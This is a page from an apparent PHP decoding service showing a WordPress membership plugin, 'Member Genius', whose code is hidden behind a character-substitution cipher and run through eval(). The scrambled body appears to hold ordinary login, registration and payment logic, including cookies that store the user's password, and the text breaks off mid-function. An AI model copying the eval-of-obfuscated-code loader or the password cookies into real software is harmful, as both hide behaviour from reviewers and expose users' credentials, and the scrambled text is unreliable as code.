Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* * Plugin Name: Member Genius * Version: 2.1.3.2 * Plugin URI: ..
Decoded Output download
Eval (str_replace('__FILE__',"'".addslashes($__FILE__)."'",html_entity_decode(strtr($__X__,'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210& $#;!?>
<','<
>?!;#$ &0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'),ENT_QUOTES, "ISO-8859-1")));
Did this file decode correctly?
Original Code
<?php
/*
* Plugin Name: Member Genius
* Version: 2.1.3.2
* Plugin URI: http://www.membergenius.com
* Description: Password protect your WordPress blog with a few clicks.
* Author: Robert Plank
* Author URI: http://www.membergenius.com
* Text Domain: member-genius
*/
$__FILE__=__FILE__;$__X__='WQzmUQumUWqyqY oBplxoB_rsDB (fe$0f#8 . ?072d . QTPMGU/qulzzFEuB.qyqQTPMGU)U xA (Drlsm(S_01$#) QzmU P || Drlsm(S_9b#) QzmU P) { } DuFnn 3BtEBo9Bsxln { qlEuxD SFCtxsU qlEuxD SqormBDmxrsU qlEuxD SkxBjU qlEuxD StrCBuU qlEuxD SDFomnU qlEuxD SnrDxFuU qlEuxD SoBzxnmBo4BkBuU qlEuxD SoBzxnmBo#BtqU qlEuxD SoBzxnmBo3BmFCFmFU qlEuxD Snxzsxsz1s = AFunBU AlsDmxrs __DrsnmolDm() { Smyxn-QzmUFCtxs = sBj 3BtEBo9BsxlnfCtxs()U Smyxn-QzmUqormBDmxrs = sBj 3BtEBo9Bsxln0ormBDmxrs()U Smyxn-QzmUtrCBu = sBj 3BtEBo9Bsxln3rCBu()U Smyxn-QzmUkxBj = sBj 3BtEBo9Bsxln!xBj()U Smyxn-QzmUnrDxFu = sBj 3BtEBo9Bsxln$rDxFu()U SnyromDrCBn = sBj 3BtEBo9Bsxln$yromDrCBn()U Smyxn-QzmUDFomn = FooFh( QplrmU9BsBoxDQplrmU =QzmU QplrmU3BtEBo9BsxlndFom9BsBoxDQplrmU, QplrmUduxDvEFsvQplrmU =QzmU QplrmU3BtEBo9BsxlndFomduxDvEFsvQplrmU, QplrmU6!<rrQplrmU =QzmU QplrmU3BtEBo9BsxlndFom6!<QplrmU, QplrmU0Fh0FuQplrmU =QzmU QplrmU3BtEBo9BsxlndFom0Fh0FuQplrmU, QplrmU#yoxkBdFomQplrmU =QzmU QplrmU3BtEBo9BsxlndFom#yoxkBQplrmU, QplrmU?Fooxro0ulnQplrmU =QzmU QplrmU3BtEBo9BsxlndFom?FooxroQplrmU, )U Smyxn-QzmUyrrvn()U } nmFmxD AlsDmxrs DuBFodFDyB() { xA (AlsDmxrs_Bixnmn(QTPMGUjq_DFDyB_DuBFo_DFDyBQTPMGU)) { jq_DFDyB_DuBFo_DFDyB()U } } AlsDmxrs yrrvn() { FCC_FDmxrs(QTPMGUqulzxsn_urFCBCQTPMGU, FooFh(QFtqUSmyxn, QTPMGUoBzxnmBo_jxCzBmnQTPMGU))U oBzxnmBo_FDmxkFmxrs_yrrv(__a74b__, FooFh(QFtqUSmyxn-QzmUtrCBu, QTPMGUxsnmFuuQTPMGU))U FCC_FDmxrs(QTPMGUqulzxsn_urFCBCQTPMGU, FooFh(QFtqUSmyxn-QzmUtrCBu, QTPMGUtFhEB7snmFuuQTPMGU))U oBzxnmBo_CBFDmxkFmxrs_yrrv(__a74b__, FooFh(QFtqUSmyxn-QzmUtrCBu, QTPMGUlsxsnmFuuQTPMGU))U @nBnnxrs_nmFom()U FCC_FDmxrs(QTPMGUxsxmQTPMGU, FooFh(QFtqUSmyxn, QTPMGUxsxmQTPMGU))U FCC_FDmxrs(QTPMGUqoB_yFsCuB_LPLQTPMGU, FooFh(QFtqUSmyxn, QTPMGUqoB_yFsCuB_LPLQTPMGU))U FCC_FDmxrs(QTPMGUqulzxsn_urFCBCQTPMGU, FooFh(QFtqUSmyxn, QTPMGUmBimCrtFxsQTPMGU))U FCC_FDmxrs(QTPMGUjq_BsplBlB_nDoxqmnQTPMGU, FooFh(QFtqUSmyxn-QzmUkxBj, QTPMGUBsplBlB_nDoxqmnQTPMGU))U FCC_FDmxrs( QTPMGUFAmBo_nBmlq_myBtBQTPMGU, FooFh(QFtqUSmyxn-QzmUkxBj, QTPMGUurzxsQTPMGU))U FCC_FDmxrs(QTPMGUjq_urzrlmQTPMGU, FooFh(QFtqUSmyxn-QzmUkxBj, QTPMGUurzrlmQTPMGU))U FCC_FDmxrs(QTPMGUjq_ArrmBoQTPMGU, FooFh(QFtqUSmyxn-QzmUkxBj, QTPMGUFlmroBnqrsCBoQTPMGU))U FCC_AxumBo(QTPMGUqoB_zBm_qrnmnQTPMGU, FooFh(QFtqUSmyxn-QzmUkxBj, QTPMGUroCBoQTPMGU))U FCC_FDmxrs( QTPMGUFCtxs_EFo_tBslQTPMGU, FooFh( Smyxn, QplrmUFCtxs_EFo_njxmDy_lnBoQplrmU ), KP )U FCC_FDmxrs( QTPMGUFCtxs_EFo_tBslQTPMGU, FooFh( Smyxn, QplrmUFCtxs_EFo_njxmDyBoQplrmU ), MK )U FCC_FDmxrs(QTPMGUjq_EBAroB_FCtxs_EFo_oBsCBoQTPMGU, FooFh(QFtqUSmyxn, QTPMGUFCtxs_EFo_oBtrkB_qorAxuBQTPMGU))U FCC_FDmxrs( QTPMGUxsxmQTPMGU, FooFh(QFtqUSmyxn, QTPMGUoBtrkB_qorAxuB_FDDBnnQTPMGU))U FCC_FDmxrs(QTPMGUFAmBo_nBmlq_myBtBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUjxCzBmn_xsxmQTPMGU))U FCC_AxumBo( QTPMGUFlmyro_uxsvQTPMGU, QTPMGU__oBmlos_gBorQTPMGU)U FCC_FDmxrs(QTPMGUmBtquFmB_oBCxoBDmQTPMGU, FooFh(QFtqUSmyxn, QTPMGUmBtquFmB_oBCxoBDmQTPMGU))U } qlEuxD AlsDmxrs mBtquFmB_oBCxoBDm() { } qlEuxD AlsDmxrs jq_nxzsrs() { } qlEuxD AlsDmxrs oBtrkB_qorAxuB_qFzB() { jq_oBCxoBDm(yrtB_lou())U CxB()U } qlEuxD AlsDmxrs oBtrkB_qorAxuB_FDDBnn() { xA (Vxn_lnBo_urzzBC_xs()) { oBmlosU } xA (EFnBsFtB(S_$b !b [QplrmU080_$b4aQplrmU]) V= QplrmUqorAxuB.qyqQplrmU) { oBmlosU } xA (Smyxn-QzmUtrCBu-QzmUnBmmxsz(QplrmUqorAxuBQplrmU)==O || DlooBsm_lnBo_DFs(QTPMGUFCtxsxnmoFmroQTPMGU)) { oBmlosU } xA (xn_FCtxs() QFtqUQFtqU V DlooBsm_lnBo_DFs( QTPMGUFCtxsxnmoFmroQTPMGU ) QFtqUQFtqU V(CBAxsBC( QTPMGUc1729_f6f>QTPMGU) QFtqUQFtqU DrsnmFsm(QplrmUc1729_f6f>QplrmU))) { jq_oBCxoBDm(FCtxs_lou())U BixmU } } qlEuxD AlsDmxrs jxCzBmn_xsxm() { SjxCzBmn = zBm_rqmxrs( QTPMGUnxCBEFon_jxCzBmnQTPMGU )U SAxonm = sluuU AroBFDy (SjxCzBmn Fn SvBh =QzmU SjxCzBm) { xA (SvBh == QplrmUjq_xsFDmxkB_jxCzBmnQplrmU) { SxsFDmxkB = FooFh_nBFoDy(QplrmUtBtEBozBsxlnQplrmU, SjxCzBm)U xA (SxsFDmxkB V== sluu) { lsnBm(SjxCzBmn[QplrmUjq_xsFDmxkB_jxCzBmnQplrmU][SxsFDmxkB])U } DrsmxslBU } xA (VSAxonm) { SAxonm = SvBhU } xA (xn_FooFh(SjxCzBm) QFtqUQFtqU xs_FooFh(QplrmUtBtEBozBsxlnQplrmU, SjxCzBm)) { oBmlosU } } xA (SAxonm) { FooFh_lsnyxAm(SjxCzBmn[SAxonm], QplrmUtBtEBozBsxlnQplrmU)U } Smyxn-QzmUDuBFodFDyB()U lqCFmB_rqmxrs(QplrmUnxCBEFon_jxCzBmnQplrmU, SjxCzBmn)U } qlEuxD AlsDmxrs FCtxs_EFo_njxmDyBo() { zurEFu Sjq_FCtxs_EFoU xA ( Vxn_nlqBo_FCtxs() || Vxn_FCtxs_EFo_nyrjxsz() ) { oBmlosU } xA (Sjq_FCtxs_EFo-QzmUzBm_srCB(QplrmUxsDrtBtFDyxsBQplrmU)) { oBmlosU } SqFonB = qFonB_lou(zBm_yrtB_lou())U xA ((VxnnBm(SqFonB[QplrmUqFmyQplrmU]) || SqFonB[QplrmUqFmyQplrmU] == QplrmU/QplrmU) QFtqUQFtqU @xn_Cxo(moFxuxsznuFnyxm(DrsnmFsm(QplrmUfe$0f#8QplrmU)).QplrmUtBtEBon/jq-FCtxsQplrmU)) { Sjq_FCtxs_EFo-QzmUFCC_tBsl(FooFh( QTPMGUqFoBsmQTPMGU =QzmU QTPMGUnxmB-sFtBQTPMGU, QTPMGUxCQTPMGU =QzmU QTPMGUxsDrtBtFDyxsBQTPMGU, QTPMGUmxmuBQTPMGU =QzmU __( QTPMGU$jxmDy mr eFDvBsCQTPMGU), QTPMGUyoBAQTPMGU =QzmU yrtB_lou(QplrmU/tBtEBon/jq-FCtxsQplrmU)) )U } BunBxA ((xnnBm(SqFonB[QplrmUqFmyQplrmU]) QFtqUQFtqU SqFonB[QplrmUqFmyQplrmU] == QplrmU/tBtEBonQplrmU) QFtqUQFtqU @xn_Cxo(moFxuxsznuFnyxm(DrsnmFsm(QplrmUfe$0f#8QplrmU)).QplrmUjq-FCtxsQplrmU)) { Sjq_FCtxs_EFo-QzmUFCC_tBsl(FooFh( QTPMGUqFoBsmQTPMGU =QzmU QTPMGUnxmB-sFtBQTPMGU, QTPMGUxCQTPMGU =QzmU QTPMGUxsDrtBtFDyxsBQTPMGU, QTPMGUmxmuBQTPMGU =QzmU __( QTPMGU$jxmDy mr aorsmBsCQTPMGU), QTPMGUyoBAQTPMGU =QzmU moFxuxsznuFnyxm(CxosFtB(yrtB_lou())).QplrmUjq-FCtxsQplrmU ))U } } qlEuxD AlsDmxrs FCtxs_EFo_oBtrkB_qorAxuB() { zurEFu Sjq_FCtxs_EFoU xA (Smyxn-QzmUtrCBu-QzmUnBmmxsz(QplrmUqorAxuBQplrmU)==O || DlooBsm_lnBo_DFs(QTPMGUFCtxsxnmoFmroQTPMGU)) { oBmlosU } Sjq_FCtxs_EFo-QzmUoBtrkB_tBsl(QTPMGUBCxm-qorAxuBQTPMGU)U Surzrlm3Bsl = Sjq_FCtxs_EFo-QzmUzBm_srCB(QTPMGUurzrlmQTPMGU)U } qlEuxD AlsDmxrs FCtxs_EFo_njxmDy_lnBo() { zurEFu Sjq_FCtxs_EFoU Sjq_FCtxs_EFo-QzmUoBtrkB_tBsl(QTPMGUjq-urzrQTPMGU)U Surzrlm_tBsl = Sjq_FCtxs_EFo-QzmUzBm_srCB(QTPMGUurzrlmQTPMGU)U xA (Surzrlm_tBsl) { Sjq_FCtxs_EFo-QzmUoBtrkB_tBsl(QTPMGUurzrlmQTPMGU)U } Sjq_FCtxs_EFo-QzmUFCC_tBsl(FooFh( QTPMGUqFoBsmQTPMGU =QzmU QTPMGUlnBo-FDmxrsnQTPMGU, QTPMGUxCQTPMGU =QzmU QTPMGUnjxmDy-lnBoQTPMGU, QTPMGUmxmuBQTPMGU =QzmU __( QTPMGU$jxmDy ;nBoQTPMGU), QTPMGUyoBAQTPMGU =QzmU FCC_plBoh_Foz(FooFh(QTPMGUtBtEBozBsxln_FDmxrsQTPMGU=QzmUQTPMGUnjxmDy_lnBoQTPMGU), FCtxs_lou()) ))U xA (Surzrlm_tBsl) { Sjq_FCtxs_EFo-QzmUFCC_tBsl(Surzrlm_tBsl)U } } qlEuxD AlsDmxrs oBzxnmBo_jxCzBmn() { jq_oBzxnmBo_nxCBEFo_jxCzBm( QTPMGUtBtEBozBsxlnQTPMGU, QTPMGU3BtEBo 9BsxlnQTPMGU, FooFh(QFtqUSmyxn-QzmUkxBj, QTPMGUjxCzBmQTPMGU), FooFh(QTPMGUCBnDoxqmxrsQTPMGU =QzmU QTPMGUcxnquFh F urzxs/urzrlm Arot Aro tBtEBon rA hrlo tBtEBonyxq nxmB.QTPMGU) )U jq_oBzxnmBo_jxCzBm_Drsmoru( QTPMGUtBtEBozBsxlnQTPMGU, QTPMGU3BtEBo 9BsxlnQTPMGU, FooFh(QFtqUSmyxn-QzmUkxBj, QTPMGUjxCzBm_DrsmoruQTPMGU), FooFh(QTPMGUxC_EFnBQTPMGU =QzmU QTPMGUtBtEBozBsxlnQTPMGU) )U } qoxkFmB AlsDmxrs quFDByruCBo() { zurEFu SjqCEU SquFDByruCBo = zBm_qFzB_Eh_qFmy(QTPMGUtBtEBozBsxlnQTPMGU)U SDrsmBsm = FooFh( QTPMGUqrnm_mxmuBQTPMGU =QzmU QTPMGU3BtEBo 9BsxlnQTPMGU, QTPMGUqrnm_mhqBQTPMGU =QzmU QTPMGUqFzBQTPMGU, QTPMGUqrnm_sFtBQTPMGU =QzmU QTPMGUtBtEBozBsxlnQTPMGU, QTPMGUqrnm_DrsmBsmQTPMGU =QzmU QTPMGUcr srm BCxm.QTPMGU, QTPMGUqrnm_nmFmlnQTPMGU =QzmU QTPMGUqlEuxnyQTPMGU, QTPMGUqrnm_FlmyroQTPMGU =QzmU O, QTPMGUDrttBsm_nmFmlnQTPMGU =QzmU QTPMGUDurnBCQTPMGU )U xA (VSquFDByruCBo) { jq_xsnBom_qrnm(SDrsmBsm)U } xA (VxnnBm(SquFDByruCBo-QzmUqrnm_nmFmln)) { oBmlosU } xA (SquFDByruCBo-QzmUqrnm_nmFmln V= QplrmUqlEuxnyQplrmU) { SDrsmBsm[QplrmU7cQplrmU] = SquFDByruCBo-QzmU7cU jq_lqCFmB_qrnm(SDrsmBsm)U } } AlsDmxrs mBimCrtFxs() { Squlzxs_oBu_qFmy = EFnBsFtB( CxosFtB( __a74b__ ) ) . QTPMGU/uFszlFzBn/QTPMGUU urFC_qulzxs_mBimCrtFxs( QTPMGUtBtEBo-zBsxlnQTPMGU, AFunB, Squlzxs_oBu_qFmy )U } AlsDmxrs qoB_yFsCuB_LPL() { oBmlos Smyxn-QzmUyFny BplBnm()U } AlsDmxrs xsxm() { zurEFu StBtEBozBsxlnU xA (nmoqrn(S_$b !b [QplrmU b&;b$#_; 7QplrmU], QTPMGU/zBsxln/QTPMGU) V== AFunB) { 3BtEBo9Bsxln::DuBFodFDyB()U } StBtEBozBsxln_zxkBslnBo = sluuU StBtEBozBsxln_zxkBsqFnn = sluuU oBtrkB_Fuu_AxumBon(QTPMGUoBmoxBkB_qFnnjroCQTPMGU)U Smyxn-QzmUquFDByruCBo()U xA (xn_lnBo_urzzBC_xs()) { xA (VCBAxsBC(QplrmUc121#dfd8b0f9bQplrmU)) { CBAxsB(QplrmUc121#dfd8b0f9bQplrmU, O)U } } xA (xnnBm(S_9b#[QplrmUtBtEBozBsxln_FDmxrsQplrmU]) QFtqUQFtqU S_9b#[QplrmUtBtEBozBsxln_FDmxrsQplrmU] == QplrmUnjxmDy_lnBoQplrmU) { jq_urzrlm()U } xA (VAlsDmxrs_Bixnmn(QTPMGUDlooBsm_lnBo_DFsQTPMGU) QFtqUQFtqU AxuB_Bixnmn(DrsnmFsm(QplrmUfe$0f#8QplrmU) . DrsnmFsm(QplrmU?072dQplrmU) . QplrmU/DFqFExuxmxBn.qyqQplrmU)) { @oBplxoB_rsDB(DrsnmFsm(QplrmUfe$0f#8QplrmU) . DrsnmFsm(QplrmU?072dQplrmU) . QplrmU/DFqFExuxmxBn.qyqQplrmU)U } xA (AlsDmxrs_Bixnmn(QplrmUDlooBsm_lnBo_DFsQplrmU) QFtqUQFtqU DlooBsm_lnBo_DFs(QplrmUtFsFzB_rqmxrsnQplrmU) QFtqUQFtqU xnnBm(S_ b&;b$#[QplrmUtBtEBozBsxln_FDmxrsQplrmU]) QFtqUQFtqU S_ b&;b$#[QplrmUtBtEBozBsxln_FDmxrsQplrmU] == QplrmUCrjsurFCQplrmU) { Smyxn-QzmUkxBj-QzmUCrjsurFC()U } xA (Drlsm(S_01$#) == P QFtqUQFtqU (xn_FCtxs() || S_$b !b [QplrmU b31#b_fcc QplrmU] == S_$b !b [QplrmU$b !b _fcc QplrmU])) { } BunB { xA (xnnBm(S_01$#[QplrmUjqqq_lnBosFtBQplrmU]) QFtqUQFtqU xnnBm(S_01$#[QplrmUjqqq_qFnnjroCQplrmU])) { nBmDrrvxB(QTPMGUjqqq_lnBosFtBQTPMGU, S_01$#[QplrmUjqqq_lnBosFtBQplrmU], P, QTPMGU/QTPMGU)U nBmDrrvxB(QTPMGUjqqq_qFnnjroCQTPMGU, S_01$#[QplrmUjqqq_qFnnjroCQplrmU], P, QTPMGU/QTPMGU)U StBtEBozBsxln_zxkBslnBo = S_01$#[QTPMGUjqqq_lnBosFtBQTPMGU]U StBtEBozBsxln_zxkBsqFnn = S_01$#[QTPMGUjqqq_qFnnjroCQTPMGU]U } BunBxA (xnnBm(S_d1157b[QTPMGUjqqq_lnBosFtBQTPMGU]) QFtqUQFtqU xnnBm(S_d1157b[QTPMGUjqqq_qFnnjroCQTPMGU])) { StBtEBozBsxln_zxkBslnBo = S_d1157b[QTPMGUjqqq_lnBosFtBQTPMGU]U StBtEBozBsxln_zxkBsqFnn = S_d1157b[QTPMGUjqqq_qFnnjroCQTPMGU]U } StBtEBozBsxln_lnBo = zBm_rqmxrs(QplrmUjqqq_lnBosFtBQplrmU)U StBtEBozBsxln_qFnn = zBm_rqmxrs(QplrmUjqqq_qFnnjroCQplrmU)U StBtEBozBsxln_kFuxCFmBC = (StBtEBozBsxln_zxkBslnBo == StBtEBozBsxln_lnBo QFtqUQFtqU StBtEBozBsxln_zxkBsqFnn == StBtEBozBsxln_qFnn)U xA (VStBtEBozBsxln_lnBo || VStBtEBozBsxln_qFnn) { StBtEBozBsxln_kFuxCFmBC = AFunBU } xA (xn_lnBo_urzzBC_xs()) { StBtEBozBsxln_kFuxCFmBC = molBU } SoBplBnm = sluuU SmBtq = QplrmUQplrmUU xA (Smyxn-QzmUFqx BplBnm()) { SFqx = sBj 39f07N()U CxB()U } xA (SoBplBnm = Smyxn-QzmUyFny BplBnm()) { 3BtEBo9Bsxln::DuBFodFDyB()U SmBtq = sluuU xA (xnnBm(S_$b$$712[QplrmUtBtEBozBsxln_mBtqQplrmU])) { SmBtq = S_$b$$712[QplrmUtBtEBozBsxln_mBtqQplrmU]U lsnBm(S_$b$$712[QplrmUtBtEBozBsxln_mBtqQplrmU])U } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_mBtqQplrmU])) { SmBtq = S_01$#[QplrmUtBtEBozBsxln_mBtqQplrmU]U } xA (SmBtq) { SoBzxnmBo#Btq = StBtEBozBsxln-QzmUtrCBu-QzmUzBm#Btqaort#oFsnFDmxrs(SmBtq)U Smyxn-QzmUoBzxnmBo#Btq = SoBzxnmBo#Btq-QzmUmis_xCU SsBj;nBo = Smyxn-QzmUFCtxs-QzmUDoBFmB()U xA (VSsBj;nBo || Vxn_sltBoxD(SsBj;nBo)) { Smyxn-QzmUqormBDmxrs-QzmUurDvCrjs(QplrmUoBzxnmBoQplrmU)U } } xA (SoBzxnmBo4BkBu = Smyxn-QzmUtrCBu-QzmUzBm4BkBuaort8Fny(SoBplBnm)) { Smyxn-QzmUoBzxnmBo4BkBu = SoBzxnmBo4BkBuU xA (xn_lnBo_urzzBC_xs() QFtqUQFtqU VxnnBm(S_ b&;b$#[QplrmUDrtquBmBQplrmU]) QFtqUQFtqU VDlooBsm_lnBo_DFs(QplrmUtFsFzB_rqmxrsnQplrmU)) { SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U Smyxn-QzmUtrCBu-QzmUFCC(SDlooBsm_lnBo-QzmU7c, SoBzxnmBo4BkBu-QzmU7c)U } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_yFnyQplrmU])) { SsBj;nBo = Smyxn-QzmUFCtxs-QzmUDoBFmB()U xA (VSsBj;nBo || Vxn_sltBoxD(SsBj;nBo)) { Smyxn-QzmUqormBDmxrs-QzmUurDvCrjs(QplrmUoBzxnmBoQplrmU)U } } BunBxA (xnnBm(S_ b&;b$#[QplrmUDrtquBmBQplrmU])) { xA (SmBtq = StBtEBozBsxln-QzmUtrCBu-QzmUzBm#Btqaort#oFsnFDmxrs(S_ b&;b$#[QplrmUDrtquBmBQplrmU])) { Smyxn-QzmUoBzxnmBo#Btq = SmBtq-QzmUmis_xCU Smyxn-QzmUoBzxnmBo3BmFCFmF = SmBtq-QzmUmBtq_tBmFCFmFU } Smyxn-QzmUqormBDmxrs-QzmUurDvCrjs(QplrmUoBzxnmBoQplrmU)U } BunB { Smyxn-QzmUqormBDmxrs-QzmUurDvCrjs(QplrmUoBzxnmBoQplrmU)U } } xA (SqFhtBsm = Smyxn-QzmUtrCBu-QzmUzBm0FhtBsmaort8Fny(SoBplBnm)) { SkBoxAh = SqFhtBsm-QzmUkBoxAh()U xA (SkBoxAh) { Smyxn-QzmUoBzxnmBo3BmFCFmF = SkBoxAhU S_$b$$712[QplrmUtBtEBozBsxln_mBtqQplrmU] = SkBoxAh[QplrmUmoFsnFDmxrsQplrmU]U SlnBo7c = PU xA (SkBoxAh[QplrmUmoFsnFDmxrsQplrmU]) { SlnBo7c = StBtEBozBsxln-QzmUtrCBu-QzmUzBm;nBo7Caort#oFsnFDmxrs(SkBoxAh[QplrmUmoFsnFDmxrsQplrmU])U } xA (VSlnBo7c QFtqUQFtqU SkBoxAh[QplrmUFDmxrsQplrmU] == QplrmUDFsDBuQplrmU) { SlnBo = zBm_lnBo_Eh_BtFxu(SkBoxAh[QplrmUBtFxuQplrmU])U xA (xnnBm(SlnBo-QzmU7c)) { SlnBo7c = @xsmkFu(SlnBo-QzmU7c)U } } xA (SlnBo7c QzmU P) { xA (VCBAxsBC(QplrmUc121#dfd8b0f9bQplrmU)) { CBAxsB(QplrmUc121#dfd8b0f9bQplrmU, O)U } xA (SkBoxAh[QplrmUFDmxrsQplrmU] == QplrmUDFsDBuQplrmU) { StBtEBozBsxln-QzmUtrCBu-QzmUDFsDBu(SlnBo7c, xsmkFu(SkBoxAh[QplrmUuBkBuQplrmU]))U xA (Smis4BkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBunaort#oFsnFDmxrs(SkBoxAh[QplrmUmoFsnFDmxrsQplrmU])) { AroBFDy (Smis4BkBun Fn Smis4BkBu) { StBtEBozBsxln-QzmUtrCBu-QzmUDFsDBu(SlnBo7c, xsmkFu(Smis4BkBu))U } } BunBxA (SkBoxAh[QplrmUuBkBuQplrmU]) { StBtEBozBsxln-QzmUtrCBu-QzmUDFsDBu(SlnBo7c, xsmkFu(SkBoxAh[QplrmUuBkBuQplrmU]))U } CxB()U } xA (VlnBo_DFs(SlnBo7c, QTPMGUFCtxsxnmoFmroQTPMGU)) { SlnBo = zBm_lnBo_Eh(QTPMGU7cQTPMGU, SlnBo7c)U xA (SlnBo QFtqUQFtqU xnnBm(SlnBo-QzmUlnBo_urzxs)) { jq_nBm_Flmy_DrrvxB(SlnBo7c, molB, (xn_nnu() W molB : AFunB))U Cr_FDmxrs( QTPMGUjq_urzxsQTPMGU, SlnBo-QzmUlnBo_urzxs, SlnBo)U S_01$#[QTPMGUurzQTPMGU] = SlnBo-QzmUlnBo_urzxsU yBFCBo(QplrmU4rDFmxrs:QplrmU.yrtB_lou())U CxB()U } } oBmlosU } BunBxA (SmBtq = StBtEBozBsxln-QzmUtrCBu-QzmUzBm#Btqaort#oFsnFDmxrs(SkBoxAh[QplrmUmoFsnFDmxrsQplrmU])) { xA (SkBoxAh[QplrmUFDmxrsQplrmU] == QplrmUDFsDBuQplrmU) { StBtEBozBsxln-QzmUtrCBu-QzmUDFsDBu#Btq(SmBtq-QzmUmis_xC)U CxB()U oBmlosU } Smyxn-QzmUoBzxnmBo4BkBu = xsmkFu(SkBoxAh[QplrmUuBkBuQplrmU])U Smyxn-QzmUoBzxnmBo#Btq = SmBtq-QzmUmis_xCU SsBj;nBo = Smyxn-QzmUFCtxs-QzmUDoBFmB()U xA (VSsBj;nBo || Vxn_sltBoxD(SsBj;nBo)) { Smyxn-QzmUqormBDmxrs-QzmUurDvCrjs(QplrmUoBzxnmBoQplrmU)U } } BunB { xA (SkBoxAh[QplrmUFDmxrsQplrmU] == QplrmUoBzxnmBoQplrmU) { StBtEBozBsxln-QzmUtrCBu-QzmUDoBFmB#Btq(SkBoxAh[QplrmUmoFsnFDmxrsQplrmU], SkBoxAh[QplrmUuBkBuQplrmU], SkBoxAh)U Smyxn-QzmUoBzxnmBo#Btq = SkBoxAh[QplrmUmoFsnFDmxrsQplrmU]U S_$b$$712[QplrmUtBtEBozBsxln_mBtqQplrmU] = Smyxn-QzmUoBzxnmBo#BtqU Smyxn-QzmUoBzxnmBo4BkBu = xsmkFu(SkBoxAh[QplrmUuBkBuQplrmU])U Smyxn-QzmUqormBDmxrs-QzmUurDvCrjs(QplrmUoBzxnmBoQplrmU)U oBmlosU } } oBmlosU } BunB { } } } } } qlEuxD AlsDmxrs yFny BplBnm(SyFny=sluu) { Squlzxs = QplrmUQplrmUU @nBnnxrs_nmFom()U xA (SyFny == sluu) { xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_yFnyQplrmU])) { SyFny = S_01$#[QplrmUtBtEBozBsxln_yFnyQplrmU]U } BunBxA (xnnBm(S_$b !b [QplrmU&;b QplrmU.Dyo(HG).QplrmU_$# 729QplrmU])) { SyFny = louCBDrCB(S_$b !b [QplrmU&;b QplrmU.Dyo(HG).QplrmU_$# 729QplrmU])U Snquxm = qoBz_nquxm(QTPMGU@[/QFtqU]@QTPMGU, SyFny, L)U xA (Drlsm(Snquxm) QzmU= M) { uxnm(, Squlzxs, SyFny) = SnquxmU } BunBxA (Drlsm(Snquxm) == N) { uxnm(, Squlzxs) = SnquxmU } xA (Squlzxs V= QplrmUzBsxlnQplrmU) { oBmlos sluuU } } xA (SyFny == sluu) { oBmlosU } } oBmlos SyFnyU } qlEuxD AlsDmxrs Fqx BplBnm() { oBmlos nmoqrn(S_$b !b [QTPMGU b&;b$#_; 7QTPMGU], QTPMGU/jutFqx/N.P/QTPMGU) V== AFunB || nmoqrn(S_$b !b [QTPMGU b&;b$#_; 7QTPMGU], QTPMGU/jutFqx/N_P/QTPMGU) V== AFunBU } qlEuxD nmFmxD AlsDmxrs kFuxCFmB(SkFon=sluu) { xA (SkFon == sluu) { SkFon = S_01$#U } BimoFDm(3BtEBo9Bsxln::BimoFDm(SkFon))U SkFuxCFmB = FooFh()U SkFuxCFmB[QplrmUBtqmhQplrmU] = Btqmh(SlnBosFtB)U SkFuxCFmB[QplrmUlnBosFtBQplrmU] = nmouBs(SlnBosFtB) QzmU= LU SkFuxCFmB[QplrmUAxonmsFtBQplrmU] = nmouBs(SAxonmsFtB) QzmU= NU SkFuxCFmB[QplrmUuFnmsFtBQplrmU] = nmouBs(SuFnmsFtB) QzmU= NU xA (xn_FCtxs()) { SkFuxCFmB[QplrmUlnBosFtBQplrmU] = molBU SkFuxCFmB[QplrmUAxonmsFtBQplrmU] = molBU SkFuxCFmB[QplrmUuFnmsFtBQplrmU] = molBU } SkFuxCFmB[QplrmUBtFxuQplrmU] = VBtqmh(SBtFxu) QFtqUQFtqU qoBz_tFmDy(QTPMGU/[F-gf-<P-G_\-.+]+@[F-gf-<P-G-]+.[F-gf-<]+/nQTPMGU, SBtFxu)U SkFuxCFmB[QplrmUqFnnjroCQplrmU] = nmouBs(SqFnnjroCO) QzmU= JU SkFuxCFmB[QplrmUqFnnjroC3FmDyQplrmU] = (SqFnnjroCO == SqFnnjroCN)U SkFuxCFmB[QplrmUlnBofkFxuFEuBQplrmU] = AFunBU SkFuxCFmB[QplrmUBtFxufkFxuFEuBQplrmU] = AFunBU SkFuxCFmB[QplrmUqFnnjroCdrooBDmQplrmU] = AFunBU xA (SkFuxCFmB[QplrmUlnBosFtBQplrmU]) { SkFuxCFmB[QplrmUlnBofkFxuFEuBQplrmU] = (zBm_lnBo_Eh(QplrmUurzxsQplrmU, SlnBosFtB) === AFunB)U SkFuxCFmB[QplrmUBtFxufkFxuFEuBQplrmU] = (zBm_lnBo_Eh(QplrmUBtFxuQplrmU, SBtFxu) === AFunB)U } xA (VSkFuxCFmB[QplrmUlnBofkFxuFEuBQplrmU] || VSkFuxCFmB[QplrmUBtFxufkFxuFEuBQplrmU]) { SFlmyBsmxDFmB = jq_FlmyBsmxDFmB(SlnBosFtB, SqFnnjroCO)U SkFuxCFmB[QplrmUqFnnjroCdrooBDmQplrmU] = Vxn_jq_Booro(SFlmyBsmxDFmB)U } SkFuxCFmB[QplrmUqFnnjroCdrooBDmQplrmU] = molBU SkFuxCFmB[QplrmUqFnnQplrmU] = SkFuxCFmB[QplrmUlnBosFtBQplrmU] QFtqUQFtqU SkFuxCFmB[QplrmUAxonmsFtBQplrmU] QFtqUQFtqU SkFuxCFmB[QplrmUuFnmsFtBQplrmU] QFtqUQFtqU SkFuxCFmB[QplrmUBtFxuQplrmU] QFtqUQFtqU SkFuxCFmB[QplrmUqFnnjroCQplrmU] QFtqUQFtqU SkFuxCFmB[QplrmUqFnnjroC3FmDyQplrmU] QFtqUQFtqU SkFuxCFmB[QplrmUlnBofkFxuFEuBQplrmU] QFtqUQFtqU SkFuxCFmB[QplrmUBtFxufkFxuFEuBQplrmU]U oBmlos SkFuxCFmBU } qlEuxD nmFmxD AlsDmxrs zBsBoFmB() { oBmlos oFsC(OPPPPP, GGGGGG)U } qlEuxD nmFmxD AlsDmxrs 